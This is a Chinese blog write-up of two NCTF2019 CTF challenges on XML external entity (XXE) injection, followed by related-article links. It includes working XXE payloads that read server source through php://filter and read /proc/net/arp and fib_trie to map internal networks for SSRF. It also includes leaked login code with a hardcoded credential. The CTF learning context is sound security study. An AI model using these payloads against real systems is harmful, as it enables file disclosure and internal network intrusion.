【XXE实战】——浅看两道CTF题

  • 上一条帖子【XXE漏洞】原理及实践演示对XXE的一些原理进行了浅析,于是写了两道CTF题巩固一下,顺便也记录一下第一次写出来CTF。两道题都是在BUU上找的:[NCTF2019]Fake XML cookbook和[NCTF2019]True XML cookbook

一、[NCTF2019]Fake XML cookbook

  • 打开是个登录界面:

  • F12看一下源码,可以发现存在一段js代码:

     
    
    function doLogin(){
    var username = $("#username").val();
    var password = $("#password").val();
    if(username == "" || password == ""){
    alert("Please enter the username and password!");
    return;
    } var data = "<user><username>" + username + "</username><password>" + password + "</password></user>";
    $.ajax({
    type: "POST",
    url: "doLogin.php",
    contentType: "application/xml;charset=utf-8",
    data: data,
    dataType: "xml",
    anysc: false,
    success: function (result) {
    var code = result.getElementsByTagName("code")[0].childNodes[0].nodeValue;
    var msg = result.getElementsByTagName("msg")[0].childNodes[0].nodeValue;
    if(code == "0"){
    $(".msg").text(msg + " login fail!");
    }else if(code == "1"){
    $(".msg").text(msg + " login success!");
    }else{
    $(".msg").text("error:" + msg);
    }
    },
    error: function (XMLHttpRequest,textStatus,errorThrown) {
    $(".msg").text(errorThrown + ':' + textStatus);
    }
    });
    }

    可以看到存在一个doLogin.php文件。那么可以使用PHP://伪协议进行读取看看。

  • 抓包修改参数,输入我们的payload:

    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE foo[
    <!ENTITY rabbit SYSTEM "PHP://filter/read=convert.base64-encode/resource=doLogin.php">
    ]>
    <user><username>&rabbit;</username><password>1213</password></user>

    把得到的编码进行解码可以得到下面的php代码:

    <?php
    /**
    * autor: c0ny1
    * date: 2018-2-7
    */ $USERNAME = 'admin'; //账号
    $PASSWORD = '024b87931a03f738fff6693ce0a78c88'; //密码
    $result = null; libxml_disable_entity_loader(false);
    $xmlfile = file_get_contents('php://input'); try{
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
    $creds = simplexml_import_dom($dom); $username = $creds->username;
    $password = $creds->password; if($username == $USERNAME && $password == $PASSWORD){
    $result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username);
    }else{
    $result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username);
    }
    }catch(Exception $e){
    $result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->getMessage());
    } header('Content-Type: text/html; charset=utf-8');
    echo $result;
    ?>

    代码只是进行了一个简单验证,那么输入账号admin和密码024b87931a03f738fff6693ce0a78c88看看:

    没啥用...

  • 直接试试有没有flag目录(看有的题解说是题目有提示,所以不知道是不是buu的问题,我是没看到):

    over

二、[NCTF2019]True XML cookbook

  • 打开界面可以看到和上面题一模一样,然后同样读doLogin.php也没啥用,直接访问flag目录也没有线索。

  • 看题解后发现,可以使用XXE+SSRF的方法,即使用伪协议进行内网的嗅探。那么第一步就是看内网的结构:

    payload查看靶机路由表:

    file:///proc/net/arp

    可以看到有两个路由169.254.1.1和10.128.253.12。

  • 使用bp的intrude模块对这两个路径C段进行爆破

    爆破过程巨慢无比....不知道为啥,以后有空研究一下。但是看网上的wp说这两个C段扫描不出来东西。

  • 查看proc/net/fib_trie下的路由树

    file:///proc/net/fib_trie

  • 下面对10.244.80.215的C段进行爆破,同样非常慢,不想等了最后没解出来。

三、收获

  • 熟悉了使用file伪协议查看文件,php伪协议读取文件
  • 学习了xxe+ssrf的利用方式,对于linux主机可以读取proc/net/arp路径查看其路由表从而得到其内网结构。在主机没有flag的情况下,可能藏在其他内网主机中。
  • bp的intrude模块不知道怎么调才能实现超时放弃请求....

【XXE实战】——浅看两道CTF题的更多相关文章

  1. 『ACM C++』Virtual Judge | 两道基础题 - The Architect Omar && Malek and Summer Semester

    这几天一直在宿舍跑PY模型,学校的ACM寒假集训我也没去成,来学校的时候已经18号了,突然加进去也就上一天然后排位赛了,没学什么就去打怕是要被虐成渣,今天开学前一天,看到最后有一场大的排位赛,就上去试 ...

  2. 两道CTF Web的题目

    1.easyphp 1.1.题目描述 题目首先是一张不存在的图片 查看源码发现只有一句话 <img src="show.php?img=aGludC5qcGc=" width ...

  3. union注入的几道ctf题,实验吧简单的sql注入1,2,这个看起来有点简单和bugku的成绩单

    这几天在做CTF当中遇到了几次sql注入都是union,写篇博客记录学习一下. 首先推荐一篇文章“https://blog.csdn.net/Litbai_zhang/article/details/ ...

  4. Java基础知识强化11:多态的两道基础题

    1.第1题 class Base { public void method() { System.out.print("Base method"); } } class Child ...

  5. 逛园子,看到个练习题,小试了一把(淘宝ued的两道小题)

    闲来无事,逛园子,充充电.发现了一个挺有意思的博文,自己玩了一把. 第一题:使用 HTML+CSS 实现如图布局,border-widht 1px,一个格子大小是 60*60,hover时候边框变为橘 ...

  6. Co-prime Array&&Seating On Bus(两道水题)

     Co-prime Array Time Limit:1000MS     Memory Limit:262144KB     64bit IO Format:%I64d & %I64u Su ...

  7. MT【327】两道不等式题

    当$x,y\ge0,x+y=2$时求下面式子的最小值:1)$x+\sqrt{x^2-2x+y^2+1}$2)$\dfrac{1}{5}x+\sqrt{x^2-2x+y^2+1}$ 解:1)$P(x,y ...

  8. MT【235】两道函数题

    已知$g(x)=x^2-ax+4a$,记$h(x)=|\dfrac{x}{g(x)}|$,若$h(x)$在$(0,1]$上单调递增,求$a$的取值范围. 解答: 已知$$g(x)=\begin{cas ...

  9. [转载]2014年10月26完美世界校招两道java题

    public class VolitileTest { volatile static int count=0; public static void main(String args[]){ for ...

  10. DASCTF七月赛两道Web题复现

    Ezfileinclude(目录穿越) 拿到http://183.129.189.60:10012/image.php?t=1596121010&f=Z3F5LmpwZw== t是时间,可以利 ...

随机推荐

  1. docker部署zabbix 6.0高可用集群实验

    0 实验环境 虚拟机,postgresql本地部署,zabbix server及nginx容器部署 1 postgresql 参看前作 <postgresql + timescaledb离线安装 ...

  2. ubuntu server安装图形化界面

    只需一个命令,然后重启即可: # apt-get install ubuntu-desktop # 查看下一次启动的设置 systemctl get-default # reboot

  3. C# CEFSharp WCF开发桌面程序实现“同一网站多开”

    前言 孔乙己显出极高兴的样子,将两个指头的长指甲敲着柜台,点头说:"对呀,对呀!CEFSharp,你用过么?访问同一网址实现多开怎么实现?比如我有3个淘宝店,我想同时登录维护,就像传说中的指 ...

  4. ois七层模型与数据封装过程

    一,ois七层模型 一,ois七层模型1 为什么要分层2 七层模型3 七层总结二,协议,端口,的作用2.1协议作用2.2tcp/udp的区别2.3ARP 协议的作用2.4客户端与服务端的作用2.5ic ...

  5. 论文解读(Moka‑ADA)《Moka‑ADA: adversarial domain adaptation with model‑oriented knowledge adaptation for cross‑domain sentiment analysis》

    Note:[ wechat:Y466551 | 可加勿骚扰,付费咨询 ] 论文信息 论文标题:Moka‑ADA: adversarial domain adaptation  with model‑o ...

  6. 【技术积累】Linux中的命令行【理论篇】【五】

    arpd命令 命令介绍 arpd命令是Linux系统中的一个网络工具,用于管理和操作ARP(地址解析协议)缓存.ARP协议用于将IP地址映射到MAC地址,以便在局域网中进行通信. 命令说明 arpd命 ...

  7. 洛谷 P1336 最佳课题选择 题解

    P1336 最佳课题选择 题解 状态:考虑\(f_{i,j}\)表示前\(i\)种论文里面,一共写了\(j\)篇,的最少花费时间. 转移策略:我们一次考虑每一种论文写多少篇.假设写\(k\)篇,\(k ...

  8. ArrayList底层原理、线程安全及其相关集合(面试常问)

    一.ArrayList底层原理 1.特点及其原理:ArrayList底层基于数组实现,查找快,增删慢 2.ArrayList底层原理,初始化及调用add()方法添加元素: 默认初始化容量为10 第一次 ...

  9. 2023-08-12:用go语言写算法。实验室需要配制一种溶液,现在研究员面前有n种该物质的溶液, 每一种有无限多瓶,第i种的溶液体积为v[i],里面含有w[i]单位的该物质, 研究员每次可以选择一瓶

    2023-08-12:用go语言写算法.实验室需要配制一种溶液,现在研究员面前有n种该物质的溶液, 每一种有无限多瓶,第i种的溶液体积为v[i],里面含有w[i]单位的该物质, 研究员每次可以选择一瓶 ...

  10. ctfshow--web入门--文件上传

    ctfshow--web入门--文件上传 web151(前端校验) 题目中提示前端检验不可靠,应该对前端检验进行绕过 检查前端代码进行修改,使php文件可以通过前端校验,成功上传后进行命令执行,找到f ...